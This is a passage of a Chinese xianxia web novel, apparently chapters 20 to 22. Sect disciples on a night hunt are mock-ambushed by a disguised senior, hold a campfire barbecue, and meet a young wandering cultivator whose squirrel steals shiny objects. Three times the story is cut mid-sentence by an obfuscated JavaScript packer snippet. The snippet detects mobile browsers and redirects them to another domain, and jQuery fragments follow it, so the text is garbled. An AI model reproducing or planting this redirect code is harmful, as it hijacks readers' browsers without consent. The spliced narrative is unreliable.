“破!”随着薛予蓁的一声,水球猝不及防地爆开,那名弟子手忙脚乱地接住四散开的果子,却被爆开的水球炸了一身的水。他平静地将果子分给周围几个笑开的同伴,抹了把脸上的水,咬了一口果子,幽怨地看着薛予蓁,“予蓁师姐……” 这招水球的诀是薛予蓁从子书珹那新学来的,还没操作熟练,一路上都在练。好巧不巧,这名弟子几次都毫不羞涩地来找她讨东西吃,每次都被炸一身的水。 “……抱歉。”薛予蓁道了歉,又熟练地甩给他一道灵力,烘干了他的衣服。 这名弟子名唤莫泱,是知源宗一个附属宗门掌门的儿子,他在知源宗便和薛予蓁混得熟,说话也不算客气,“师姐,这诀咱要是练不会,便不要硬练了,对它,对你,对我都不太好。” 薛予蓁奇道:“你这人,吃了我的东西,还反过来怪我?” 莫泱嚼着果子,不以为意,“是吗?我一直如此,又不是第一天认识我,你不知道吗?” 就是因为知道,所以薛予蓁只是说说而已,没打算与他深究这个问题,转而小心翼翼地将剩余的果子转移出来,分给其他人后,再将水球移到树林里爆开——当然,听见树叶上被水打的声音就知道这次也没成功。 这个操作看得莫泱一头问号,“你明明可以这样,却要洒我一身水?” 薛予蓁看向他,“我以为我可以成功。况且,溅到你可以,溅到师兄师姐,我就不太可以了。” 莫泱张了张嘴:行叭,你是师姐,你说的对。 莫泱凑近薛予蓁,轻轻撞了撞她的肩,小声问道:“师姐啊,淼淼师姐这次怎么同我们一道下山啊?” “这都走了五天了,你才想起来问这个?”薛予蓁道。 莫泱这人,对什么都无所谓,此刻也是一脸没所谓地耸耸肩,“知道,或是不知道,对我的影响也不是很大。只是看见淼淼师姐,突然想起这件事罢了。” “怎么?不乐意和师姐一路?” 听见这话,莫泱眼神一凝,“这自然是没有的事,”他这会儿倒是笑了起来,“淼淼师姐下山走走也是好事。你是不知道,我还是个婴孩的时候,就被我爹带上知源宗了,那时候淼淼师姐就在山上。如今我都能来去自如了,总不能师姐还在山上吧。况且,师姐手艺了得,我这一路蹭了不少吃的。”说完这话,莫泱便乐颠颠地走到了施淼淼的身边,几句话哄得她笑了起来,从随身携带的储物囊里拿了几块糕点给他。 薛予蓁无言,这小少爷家中什么没有?偏生觉得从别人那讨来的东西最好吃。 宁沂秘境在渝州和岷洲的交界处,此次从墟山步行出发,也要一月有余。褚霁远看了看天色,道:“天色渐晚,今日我们便在此处休息。” 领队的几位弟子领命,四散到队伍里去安排休息。队伍中即便都是精力旺盛的少年青年,也不眠不休地走了五天,这一听今日可以休息休息,都欢呼起来了。相熟的几个人围在一起架起火堆,毫不讲究地席地而坐。 薛予蓁走到施淼淼身边,问道:“师姐可要睡一会儿?” 他们皆是金丹以上的修为,早已辟谷不说,几天不休息也还算好,但施淼淼可以说是和普通人差异不大。他们前几天都提过休息的事,施淼淼却说没事。这会儿她坐在小塌上——施淼淼还是将那小塌带上了,好在施明尘给了她高阶的储物囊。她俯身揉捏着自己有些酸软的小腿,闻言笑了笑,“真是比不得你们,还是有些累了。” 薛予蓁理解地点点头,又看着立在她两侧的凫华和百灿,“那师姐就在此好好休息一下,劳烦两位姐姐照看师姐了。” 凫华和百灿闻言一笑,“如何是劳烦,我们姐妹二人本就是小姐的侍卫。” 施淼淼听出了薛予蓁的言外之意,好奇道:“小风筝,不同师姐一起吗?” 薛予蓁解释道:“此处零零散散的有好几处村落,但又离驻扎的主城较远,他们不常到这边来巡视。”看了看天色,薛予蓁拿上佩剑,“妖邪喜爱夜里出没,师兄让我们驻扎在此,便是又我们去夜猎的意思。” 施淼淼点点头,看了看其他人,他们果真都接二连三地站了起来,收拾着自己的东西。施淼淼听见他们说着, “今日我定能比你多猎几只。” “哼,大话谁不会说?” …… 这样鲜活的场面,施淼淼曾经只在话本上看过,如今亲眼看见,只觉得心中涌起无限澎湃之意,但她也清楚自己的情况,只道:“万事小心。” 有几位相熟的弟子已经在唤薛予蓁了,她应了两声,回头看着施淼淼,“知道了师姐,你也好生歇息。” 二十几名弟子一刻钟之内全部兴冲冲地窜进了树林中,只留下了施淼淼主仆三人,褚霁远和闵榭长老自然也不会掺合这群小辈的事情中去,子书珹三人夜猎了不知多少回了,也提不起多大兴趣。施淼淼在凫华和百灿的看护下缓缓睡去,褚霁远独自一人在一旁闭眼冥想。闵榭本就是闲不住的人,他摸了摸下巴,悄悄朝子书珹三人招招手。 子书珹观他表情就知道他没安好心,便没过去。果不其然,乖乖走过去的许乐禾和徐赠春二人齐齐露出了“这不太好吧”的表情。闵榭倒是心情颇好地笑了起来,“这有何不好,此处灵气稀薄,人气也不多,怨气自然也不会多,能有什么玩意。那群小子能猎到什么?不若去给他们找点乐子。” 许乐禾嘀咕道:“是师叔你想找乐子吧……” 闵榭不赞成地看了他一眼,“怎么说话的。”他指了指他们,“我不去,你们去便好。”见子书珹没过来,稍微提高了点声音,“珹啊,你也去。” 子书珹并不想参与这件事情,正想着找什么借口搪塞过去,却有另一道声音插了进来,“这个法子不错,正好试试他们的本事。” 几人顺着声音看去,褚霁远一脸兴味地点点头,朝闵榭道:“师叔,很有想法。” 闵榭长老挑眉,更加名正言顺地指使三人,“听见没?你们褚师兄都说很妥,快去快去!” 褚霁远都都发话了,这下是真没办法拒绝了。子书珹无奈地给自己套上一层障眼法,许乐禾惊讶地说道:“你怎么这么熟练?” 子书珹叹了一口气,“因为那是我的师父。” 扶鸢长老带自己的徒弟下山,都是去各个偏僻的地方义诊。而闵榭自然也不会一直待在墟山,经常呼啦啦地带着一群弟子下山游猎,这个缺德的法子,当然不是第一次提出。头一次听说的时候,子书珹还觉得这点子不错,但次数多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471917|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就意识到这只是自己师父找乐子的方法。 许乐禾闻言怜悯地看了他一眼,“好吧。那我去这边。” 徐赠春道,“我走这边。” 薛予蓁和莫泱几人一块儿走的,几人在林中窜了半个时辰,也只遇到几只刚刚修炼成精的妖兽,见到他们便瑟瑟发抖,别说攻击了,连说话都是哆哆嗦嗦的。也有些觉得自己了不得的,言语挑衅一番,接着就被一剑了结。 莫泱连剑都没扒出来几次,走了一个时辰的干路,困倦地打了个哈欠,“这地方,方圆十里都没什么东西吧?不如直接回去了。” 陶小雨手里抓了几只兔子,“附议。原本没多困,这会儿倒是困了。” 莫泱回头看了看她,陶小雨还是那副面无表情的样子,看得他更困惑,“你说这话真是一点可信度都没有。” “唰——”一道黑影闪过,所经之处树木齐齐倒下。几人利落闪开,想要去捕捉那道黑影时却又不见踪影了。 几人瞬间噤声,背靠背地围成一个圈,拔剑警惕地环顾着四周。 莫泱道:“什么东西?!” 游鸿道:“我并未感受到周围有怨气。” 陶小雨:“我也没有。” 薛予蓁伸手示意他们待在原地,自己慢慢走向倒地的树木。断口整齐,也并无怨气遗留。不是妖邪所致。她皱着眉再要去察看。却听身后莫泱大喝一声小心,她迅速转身,却见他驱使佩剑挡开了一枚直冲薛予蓁而来的飞镖。薛予蓁顺势握住剑柄刺向黑影。那黑影显然身手不凡,轻松侧身避过这一击,足尖轻点退后几步,又掷了几枚飞镖过来。 “噔,噔——”薛予蓁执剑格挡下来,而后竟然将长剑直直抛向黑影。 黑影似乎也没看懂这个操作,在原地愣了一下,等他要有动作时,长剑却略过他飞向他的身后——莫泱竟不知何时绕到了他的身后,他脚尖点地跃起接住自己的佩剑,身形在半空中一转便向着黑影挥出一道剑气。 这道攻击来得急,即便黑影闪避及时也被剑气划破衣服。莫泱稳稳落地,看向黑影时却觉得自己是不是出现幻觉了,怎么能在一坨黑乎乎的东西上面看出赞赏来。黑影似乎是被这一击惊到了,立在原地一时没了动作。几人便趁机散开将此人围在中间。 薛予蓁握着伐邪,厉声问道:“你是何人?!为何无缘无故攻击我们?!” 这下不止莫泱觉得自己眼睛出了毛病了,所有人都惊恐地发现自己在这个黑影看不出是那方是脸的地方看出了一丝微笑的意味。 敌人对着你微笑,自然不是一件好事。眨眼间,那个黑影就提剑攻了上来,薛予蓁正要出招,黑影却自眼前消失了。于此同时,对面的游鸿喊道:“身后!” 薛予蓁连忙侧身提剑挡住这一击,但太过于被动,被这来势汹汹的攻击打地连连后退。陶小雨和莫泱一人抵着薛予蓁的肩膀拦下她,一人调整方向挥剑而上。 莫泱上前和黑影缠斗着,但奇怪的是,不论莫泱如何出招,那黑影都像是能预判一样地将其剑招化解。几人轮番上阵,磨了这人近半个时辰都没看出他有丁点疲惫,反倒是几个小孩喘着粗气,持剑依靠在一起,不再上前。 眼见灵力就要耗尽了,还破不了此局,薛予蓁心中焦急不安,额头上的汗水流到眼里激得她难受得很。伐邪似乎是察觉到了她的不安,在她手中微微颤动了一下,薛予蓁自己都还没完全掌控伐邪,上一次坑底的记忆叫她一时半会不敢轻举妄动,只好小声安抚道:“好伐邪,我没事,我没事——” 瞬间,有一两个剑招片段在自己脑中浮现。薛予蓁一直以来都是学习的知源宗的剑法,从未修习过这一剑招,但此刻别无他法了。她深吸一口气,将仅剩的灵力调动起来,长剑一横便朝着黑影极速攻去。黑影不解地歪了歪头,似乎是在说“怎么还在用这招”。他虚虚抬起剑,想要抵挡这一击,薛予蓁却在挥招的前一刻改变招式。 黑影看这招式,居然愣住了,但也不过一瞬,就回过神,凝了一道剑气横扫向薛予蓁。这一击本来就耗尽了薛予蓁最一丝灵力,眼瞧着剑气朝自己袭来,薛予蓁却连闪躲都来不及,比剑气打个正着。 “呃——”附在伐邪上的灵气消散,灵剑被击飞,薛予蓁也被剑气带倒,在地上翻滚几圈才停下。 “师姐!” “师姐!” “薛予蓁!” 莫泱几人急忙赶了过去。陶小雨将人搂在怀里,急声喊道:“予蓁,予蓁,你没事吧?” 21. 第二十一章 吃食 薛予蓁皱着眉想要说话,喘了几口气后却什么都说不出来,嘴角溢出一丝血迹。围观的几人都还没反应过来,那黑影却脚步急促地走了过来,二话不说地将人搂进自己怀里,迅速在心口处点了几处穴道,后又握着她的手传输灵气。 薛予蓁呼吸平缓下来,微微睁开些眼睛,防范道:“你想做什么?” 黑影听出话语里的敌意,叹了口气将自己的伪装解除。薛予蓁看着他一愣,“子书师兄?怎么是你?” 子书珹心疼地寻了自己衣袖干净的一角替她擦了嘴角的血迹,“小风筝,没事吧。” 子书珹那一击本就留了四分的力,薛予蓁看起来伤重的样子更多的是因为强行用了不熟悉的剑法,她借着子书珹的灵力调息片刻,脸色便缓过来了。 “我没事,子书师兄你并未用全力。”薛予蓁自然而然地回答了他的问题,答到一半想起这人没回答自己的问题,又道,“师兄你还没回答我呢?你为何要假扮黑衣人袭击我们?” “啊!”子书珹没回答,一旁的莫泱倒是叫了一声。几人齐齐看过去时,就见他懊恼地跺了下脚,“我怎么就没想到呢!?带队的长老可是闵榭长老啊!” 先前也说了,闵榭长老最爱玩这一出,而好巧不巧,十次里莫泱被选着一道游猎就有九次。他自然是见识过这个“玩法”的,但向着褚霁远在一路,应该不太会有这么个戏份。没想到…… 薛予蓁在和子书珹打斗的时候是主力,现下还有些灵力亏空。子书珹不让她自己走,便背着她带着这群得知真相后就沉默着的小孩们往回走。薛予蓁好些年没被人这样背着走过了,起初也有些不自在,后来觉得子书珹背上也挺舒服的,便也就接受了他这好意。 走了一半后,莫泱是缓过劲了,走到两人旁边,准确的说是薛予蓁的身边,道:“哎呦喂,师姐啊,真是对不住你,要是我早点想起来,你何至于如此。” 他虽这样说着,薛予蓁却没听出半点不好意思,碍于被子书珹背着走,也不好教训他,只哼哼两声,冷笑了一下。 莫泱没被她这样吓到,又好奇道:“不过你最后使得是什么剑法?我怎么没见过呢?” 子书珹原本是沉默着一直走着,听见这个问题,也不免好奇地偏了偏头想要听这个问题的答案。 薛予蓁闻言先是愣了愣,而后淡淡道:“这是幼时我爹教我哥哥的剑法,当时情况紧急,我一时着急便使了两招……”她顿了一下,“其实已经记不清楚了。” 薛予蓁的事情全宗上下也就这两年新进门的弟子不知道了,莫泱得到这个答案后眼神游移地哦了两声,就不再说话了。之后在旁边多动症似地挠挠这里,抓抓那里后找了个借口跑了。 薛予蓁好笑地看着他一溜烟地跑走,“这人真是……” “伯父只教了你哥哥?”子书珹冷不丁地问道。 “啊…”薛予蓁回忆了一下,摇摇头,“那倒不是,后来听阿娘讲,一是因为我那时太小了,还没一把剑高。二是爹爹一开始给哥哥授课,我通常都是看一会儿就要嚷嚷着去玩。后来长大了,还是耐不住性子去学这些。”或许没有发生那些事情的话,她这辈子都不会习武,阿娘爹爹还有哥哥会保护她去做她想做的事情。 这话一说完,子书珹沉默了更久,直到要走出这一片林子了,他才哑声道:“往后,若是不熟悉的剑招,便不要轻易尝试了。” “知道了,子书师兄。”薛予蓁道。她抬头看了看,看见了林子外营地的火光,顿时有些不好意思了,挣扎了一下,凑到子书珹耳边小声道:“子书师兄,快放我下去,被别人看见了,好丢脸!” 薛予蓁这个年纪正是好面子的时候,子书珹无奈地摇摇头,也没再强求,将她放了下来。一落地她便蹦跶了几下,看着的确是恢复了活力。 等到一行人回到营地的时候,就看见许乐禾和徐赠春一脸事不关己地站在一旁,而闵榭长老被一众弟子包围起来,正在对他提出的这个“好点子”抗议。而且看得出来,这两波弟子也是吃了点苦头的,许多人身上都脏兮兮的,都挂了彩。闵榭眼尖地看见自己徒弟的身影,正想出声叫他来救救自己,却见子书珹只是回来时眼神落到了他身上,而后冷笑了一声后就走到褚霁远身边去汇报了。 闵榭长老:不是,我那么大一徒弟,怎么出去一趟回来之后就不爱找乐子了呢? 施淼淼已经睡了一觉了,正等着薛予蓁呢。见她回来,便急匆匆地凑了个上去,将她摸了个遍,“方才赠春和许乐禾回来时,许多弟子都受了点伤,都是同门,也不知道下手轻点。”她抱怨地说道。“小风筝你没事吧。” 薛予蓁笑了一下,“夜猎一贯如此。我们同子书师兄切磋一番,也学到不少。” 她没说实话,却抵不住褚霁远闻见了她身上淡到几乎就要消散的血腥味,“受伤了?” 薛予蓁摆摆手,“小打小闹罢了,子书师兄已经替我看过,没什么问题的。” 褚霁远打了一道灵力到她身上,薛予蓁顷刻间就觉得自己身体不再疲惫。见她确实没什么问题,褚霁远点点头,“没事便好。下半夜好好歇息一下,我们天明就出发。”后一句话是对着众人说的。 弟子们和闵榭长老闹够了,这次的夜猎也确实是累着了,乖乖应声后便围着各自的火堆打坐调息。 薛予蓁其实在子书珹背上已经休息得够好了,她拉着施淼淼避开人群,从储物囊里掏出两只雪白的兔子,“师姐,瞧。” 这两只兔子皮毛雪白,眼睛红红的,许是因为受了惊吓,耳朵高高立起,鼻尖不安地耸动着。施淼淼看着兔子小小地惊呼了一声,伸手摸了摸,道:“好肥的兔子!小风筝,师姐给你烤兔子吃?” 施淼淼除了修习之外,研究得最多的就是厨艺,手艺简直了得。薛予蓁虽然已经辟谷了,但依旧馋施淼淼的手艺,闻言咽了咽口水,“好呀!好呀!” 于是,一众面目肃然打坐调息的弟子都迷迷糊糊地嗅到了一阵侵略性极强的香味。莫泱从来都不掩藏自己对食物的渴望,是第一个耐不住性子的人。他和薛予蓁离得不远,几乎是一转头就看见了那边燃起的火堆,以及,火堆上被扒了皮烤的肥兔子。 莫泱不争气地咽了一口口水,巴巴地跑到了两人身边,“淼淼师姐……” 施淼淼乐得投喂这些小孩,她笑了一下,“莫急,还要些火候。”说着,拿起调料在上面撒了一些,这一举动激起了更香的味道。 “淼淼师姐居然还带了调料?”莫泱奇道。 “嗯,我还并未辟谷,想着自己总是要吃东西的。”施淼淼道。 话虽是这样说的,但过去五天,众人都一直在赶路,施淼淼压根没有做饭的机会。对于这个问题,施淼淼指了指薛予蓁,“小风筝每天都会带我御剑一会儿,我那时会吃点东西。”薛予蓁顾忌着她,御剑的速度不会很快,她也乐在其中——毕竟不是每一个人都能体会到在空中吃饭的感受,一开始还有些紧张,后面施淼淼已经可以边吃边观看景色了。 莫泱点点头,“不过要不是要夜猎,我们完全可以乘飞舟去宁沂秘境。” 施淼淼并不在乎这些,不论是飞舟还是步行,对她来说都是一种新的体验。她拿着匕首割下一边的兔腿用油纸包好递给薛予蓁,又弄了另一边给莫泱。两人粗粗吹了两下之后便下了口,到底还是十六七岁的少年郎,对这些吃食还是抵抗不得,吃得嘴巴也是油亮亮的,眼睛也是亮亮的。施淼淼很满意这一幕,正要招呼凫华和百灿一起吃,转身却看见众人都眼神发亮地看着她。知道这都是自家门下的弟子,但还是不免背后一凉。 一名弟子笑了一下,拎起一只兔子,“淼淼师姐,可以吗?” 一刻钟后,营地里多架起了几个火堆,每个火堆都烤着食物,最多的就是兔子,其他的也有弟子们现抓的鱼和山鸡,甚至还有…… “这是何物?这也能烤?”又人看着串在树枝上的果实,疑惑道。 “不知道啊,但是淼淼师姐说这是槿稞果,烤好了之后又粉又糯。”另一名弟子答。 “槿稞果?原来要这么吃?我以前尝过,又酸又涩!” 结果就是后半夜大家谁都没休息,开起了烧烤大会。施淼淼自己倒没怎么吃,带着她的小调料罐在营地里忙得不可开交。是彻底打碎了她在这群人心目中的小姐滤镜。 更有甚者,吃完之后开始私底下讨论褚霁远了。原因无他,不过是褚师兄居然也拿着一只红通通的兔腿在吃。 “褚师兄居然也会吃这些,我以为他不会吃这种东西……”有人喃喃道。 身后有人轻笑一声,那弟子忙转身去看,正是路过的施淼淼。他正要道歉,施淼淼却摇摇头,“师兄当然会吃着这些,实际上他什么都会吃一些。”辣的,甜的,苦的,酸的,褚霁远虽然没有表现出来热衷,但每一次施淼淼去送吃食的时候,他都是吃的最香的一个。 那弟子听完愣愣地点了点头,倒不是说褚霁远吃不得这些东西。只是他在师弟师妹们的眼中,门内是冷然谪仙的样子,门外是冷面杀手的形象,况且修为摆在这里,他要比很多人都早辟谷,理论上来说对凡俗的食物应当早没了兴趣。 但事实是,褚霁远慢条斯理地吃完一只兔腿后,又吃了一条鱼和很多烤槿稞果。“淼淼的手艺总是这样好。” 施淼淼累了许久,有些疲倦道:“只此一回,我就算再喜爱下厨,也不乐意给这么多人做,简直累死了。”虽然是在抱怨,但眉目间却是洋溢着快乐的。 赶路的日子总是过的很快的,一行人又走了一个月,期间时不时地停下歇息一番,闵榭长老也不再让三人去捉弄他们,而是自己布阵玩所有人,自然是不包括褚霁远和施淼淼他们的。一路上有笑有闹地过去了,也不算是太枯燥。 在距离宁沂秘境不过二十几公里的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471918|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚霁远再一次叫停了队伍。 “咳咳,”闵榭长老咳了两声,朝他们招了招手,“各位小朋友,宁沂秘境不日便要开放了。此次掌门让你们来,并不是要你们同其他宗门的人争个高低上下你死我活。须知,尽力去做便好。做不到的便点亮弟子牌,我会将你们从秘境中带出来。”他这时看着倒是正经不少。 “是!”众人齐声道。 褚霁远道:“在这休整一番,等到秘境要开时,我们再过去。”他说着,给子书珹和薛予蓁几人递了一个眼神。四人虽是不明白,却也是跟着他到了一个僻静处。 “可还记得‘碧绛草’?”褚霁远道。 四人闻言都是一愣。平阳城一事全是因为这所谓的碧绛草引发的,他们又怎么会轻易地忘记。见他们没忘,褚霁远道:“此次来宁沂秘境也不全然是为了历练,更是因为传说碧绛草只生长在宁沂秘境中。师父并不强求,但是倘若秘境中有碧绛草的线索,也希望你们去搏一搏。” 子书珹有些迟疑,问道:“褚师兄,碧绛草事关沉渊峰封印,掌门要这个作何?” 沉渊峰封印着魔界和五洲的通道,若是有一日封印被打开,魔界的魔物和魔修到了五洲,不知要造成怎样的伤害。 许乐禾嘶了一声,“你傻了啊子书珹?这种东西拿在自己手中,总比在别人手中要好吧。” 褚霁远闻言挑了挑眉,看了一眼许乐禾,“乐禾倒是说得不错。” 许乐禾被他这一声喊得鸡皮疙瘩都要起来了,讪讪地退了一步。 “这些日子我同师父探查了五洲的局势,有些人的确有些蠢蠢欲动,许乐禾说的是一部分原因。”褚霁远话只说到这里,“尽力而为,不可冒险。” 四人抱拳领命,“是!” 与此同时,另外一边传来一声大喊。 “啊啊啊啊——” 五人急忙赶了回去,却见莫泱毫不客气地给了那叫嚷的弟子一巴掌,“叫什么叫,不知道的以为你怎么了呢。” 那名弟子一时半会没时间去计较这一巴掌了,拿着自己的剑往他面前凑,“我的灵渊石!不见了啊!”他急得不行,将剑夹在腋下就扒拉着人群开始找。 莫泱挠挠头,“你,是不是掉在来路上了?”但所有人都知道这不太可能,毕竟那块灵石是嵌在那名弟子的佩剑上的,除非使劲去扣,否则是不会掉的。 “我,我,”那名弟子呆在原地,无措地握着剑,眼眶隐隐泛红,“那是我娘留给我的……” 薛予蓁猝不及防望进他的眼中,不禁心口被激了一下,下意识地抬手摸向自己的胸口,触碰到手底下那块玉佩时才心安了些。看着那名弟子的模样,有些于心不忍,“是什么时候发现它不在的?” 有人抢答道:“师叔训话时我都还瞧见了!”绝不是因为垂涎那块灵石,而是因为在阳光下太闪了,有些晃人眼睛。 那名弟子道:“方才在整理物资时,下意识摸了一下剑柄,便发现不在了。” 薛予蓁一开口,他们便都开始说起自己对灵渊石最后的印象了。但说到最后还是没什么结果,一名女弟子恰好帮着寻找的时候恰好看向薛予蓁,她捂着嘴小小地叫了一声,“呀,予蓁师姐,你的袖子,袖子!” 薛予蓁也在找,闻言满目疑惑地看向她,“什么?”说完又去拽自己的袖子,却什么都没看见,“在我的袖子上吗?” “不是不是,师姐,你的背后!背后!”又有人道。 背后薛予蓁可看不到,她只好原地蹦跶了两下,但什么东西都没出现。 “不是不是,师姐,右边的袖子!” “左肩左肩!” “什么左肩,在右肩,右肩了!” 一通胡乱指挥后,薛予蓁终于怒了。她蹙着眉看向他们,“能不能有一个人给我说,什么东西在我身上!” 站在她身后的几个师兄师姐一开始都没作声,直到这个时候才憋不住地齐齐笑出声来。薛予蓁是真真疑惑了,她都要怀疑是不是根本就没有什么灵渊石,不过是有人存心看她的乐子,但今天不是什么特殊的日子。她回头看着他们,疑惑地歪歪头,“子书师兄,师姐?你们到底在笑什么?” 薛予蓁自然是没什么好笑的,但她此刻脸上写满了疑惑地歪着头,看起来十足的可爱。更不要说,她的头上还顶着一只……小松鼠,它此刻也是微微歪着头,好奇地看着面前的人类。这幅场景,简直是可爱加倍。 徐赠春正要给她说,就听见一个声音带着怒气远远地传来,“松——果————!” 说着,一道黑影就疾驰而来。到了近处,便看见一个少年从剑上摔了下来——其实说摔不太准确,那名陌生的少年本想跳下剑,却没想到自己的佩剑不听使唤,并未停下来,这才有些狼狈。但他也没真的摔到地上,只是踉跄了两步。站定后,竟还在原地斥了两句佩剑,方才将起收入鞘,朝着众人奔来。 22. 第二十二章 云涧 少年看着不过十八九岁的样子,穿着一袭靛蓝色的衣袍,束着马尾,正一边往腰上别着佩剑,一边喊着抱歉地朝薛予蓁他们跑来。 凑近后才发觉他有些狼狈,身上沾了不少灰尘不说,发间还杂乱地插着些树叶。但少年显然无暇顾忌这些,他站在薛予蓁身前,满是歉意地双手合十拜了拜,“这位姑娘,实在抱歉,是我没看管好它。” 薛予蓁在施淼淼的提示下,终于知道自己头上立了只松鼠。现在那只松鼠正窝在她的手心里啃着一个果子,或许是见自己的主人过来了,它啃食的动作顿了一下,然后扭了扭身体背对着少年。 薛予蓁摆了摆手示意自己并不在意,看了看松鼠,又疑惑地看向少年,“你给一只松鼠起名叫松果?” “嗯?”少年可不管松果看不看自己,捏着它的后颈便放在了自己手中,“不是不是,是我师父起的这名字。师父说捡到这小家伙时它正抱着松果逃难呢。” 松果看起来很喜欢薛予蓁,被少年逮回去后小爪子气愤地挠了挠他的手,“吱吱”地叫了两声。少年感觉有些不对,嘶了一声,将他又拎了起来,“你这小东西,怎么变重了?”说罢,拎着它用力晃了两下,紧接着,从小小的松鼠身上掉下了不少东西——一枚拇指大小的灵渊石,一个亮闪闪的宝石纽扣,一根掺着金线的发带…… “唉!柳兄,你的灵渊石!” “我的纽扣怎么会?!” “那不是我的发带吗?!” 少年看着掉在地上的东西,又看了看手中缩成一团的松果,额角的青筋跳了跳,“你这只小松鼠真是——”他没说完,将小东西放在自己的肩膀上,又捡起地上的几样东西,朝着几人鞠躬道歉,“非常抱歉各位,我的这位伙伴,就喜欢这些亮闪闪的玩意。” 他一一将东西归还了,因为归还的及时,又是无心之举,大家也没怪罪他。到薛予蓁面前时,少年的手中已经空了,但看着望着他的薛予蓁,少年思索了一下,从自己的储物囊中拿出一个红通通的果子放在她的手中,爽朗一笑,“落霞果,给你吃。” 这会换薛予蓁惊讶了,她拿着果子愣了一下,接着摆手道,“我并没有要这个,你这里,”她指了指自己的脸颊,“这里有些脏了。”她从怀中拿出一方手绢,“不介意的话,擦一擦吧。” 少年即使是会错了意也没觉得尴尬,道了声谢后接过手绢,“那就赠予姑娘尝尝味吧,虽算不得什么宝贵的东西,但好歹是汎州的特产。” “那便多谢了。” 少年正拿着手绢擦拭着脸颊,闻言眉眼弯弯地朝她笑了一下。 “汎州?”褚霁远适时出声道,“这么说来,小公子是从汎州过来的?可是崇涧宗的弟子?” 少年摇摇头,抱拳施了一礼,“这位道友谬赞,在下算不得什么小公子,也并非崇涧宗的弟子,不过一介散修罢了。” 散修?!在场的人都是一愣。这人看着虽狼狈了些,但周身气质和性格却是极佳,相貌非凡,衣裳脏了些,但也能看出不是什么便宜货。当然不是说散修不好,只是大多散修都是因为——穷。 子书珹上前一步,拱手施礼,“子书珹。” 少年回了一礼,笑道:“谢云涧。” 子书珹道:“谢小兄弟远道而来,可是有什么事?” 汎州可离这里不算近,不能从沉渊峰直接穿行,恐怕还要绕道。这位谢小兄弟看着却像是孤身一人,不包括那只松鼠。 谢云涧道:“子书兄看着比我大些,叫我云涧便好。至于为什么来渝州,师父同我说宁沂秘境要开了,便让我来看看。” 子书珹闻言看了一眼褚霁远,见他表情变化不大,又道:“汎州路远,云涧一路应当不太轻松。若是不介意,便和我们一齐行动吧。我们也正要去宁沂秘境。” 谢云涧惊喜道:“当真?” 施淼淼在一旁看了一会儿,觉得这个少年倒是活力满满,看着也颇为讨人欢喜,便笑了一下,道:“当真。” “那便谢谢诸位了,一路上只我一人,都没怎么休息好。”谢云涧笑嘻嘻地揪住要往薛予蓁身上跳的松果,“这小家伙是真的喜欢你呢。不知该如何称呼姑娘。” “薛予蓁。” “嗯,听着是个好名字。真假的真?”谢云涧拦了松果几次,后面也懒得去抓它了,任由它顺着胳膊跳到薛予蓁身上。 薛予蓁也很喜欢这个毛茸茸的小家伙,伸出手接住它,“并非真假的真,是草秦蓁。” “原是这个,蓁蓁,便是草木旺盛之意,看来薛姑娘的双亲很爱你呢。”谢云涧道。 薛予蓁差点以为那声“蓁蓁”是在喊自己,差点就应了。可听到后面那句话之后,却没多少尴尬了,微微笑着点点了头,“你呢?云涧可是有什么深意?” 谢云涧哈哈笑了两声,“那倒没有了,我是个孤儿。名字的话,是师父给我取的。” 薛予蓁揉弄松果的手顿了顿,有些局促地说道:“抱歉,我不是有意提起这个的。” “这没什么,我自有记忆时便只记得师父,父亲母亲,师父从来也没有提过,应当是一生下来便被丢弃了。”谢云涧说起这些话的时候,眼中没有半点悲伤,脸色平常地不像是在讲自己的事情,“至于名字,应当也没有什么深意,师父说是因为是在一条小涧旁边捡到的我,又是雨天,云雾缭绕的。便叫了这个名字。” 薛予蓁听着却笑不太出来,她手指在松果的皮毛里打了几个圈,张嘴刚说了一个“我”字,就有一只手虚虚挡在她的嘴前,叫她不得不闭上嘴。 谢云涧施施然收回手,“我感觉你要说些不太好的东西。”他走在薛予蓁身边,漫不经心地轻轻拍了下她的后脑勺,“我不觉得自己很惨,师父对我很好,嗯…虽然总是嫌弃我天赋不太好,但确实如父兄一样照顾着我。” “所以?” 谢云涧道:“所以不用你揭自己的伤疤来安慰我。” 薛予蓁倏地抬头去看他,“你怎么知道我……” 谢云涧咧咧嘴,却不说为什么,而是又掏出一个晶莹剔透的小果子,“这回是个宝贝的玩意儿了,给。”说着便拿到薛予蓁面前晃了晃。 这枚果子不过薛予蓁半个拳头大,却真是玲珑透亮的,隔着一层薄薄的透明果皮,能看见里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471919|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面粉嫩嫩的果肉。有走在他们旁边的人眼尖,倒吸了一口气,“这这这,这不是云皑果吗?!” 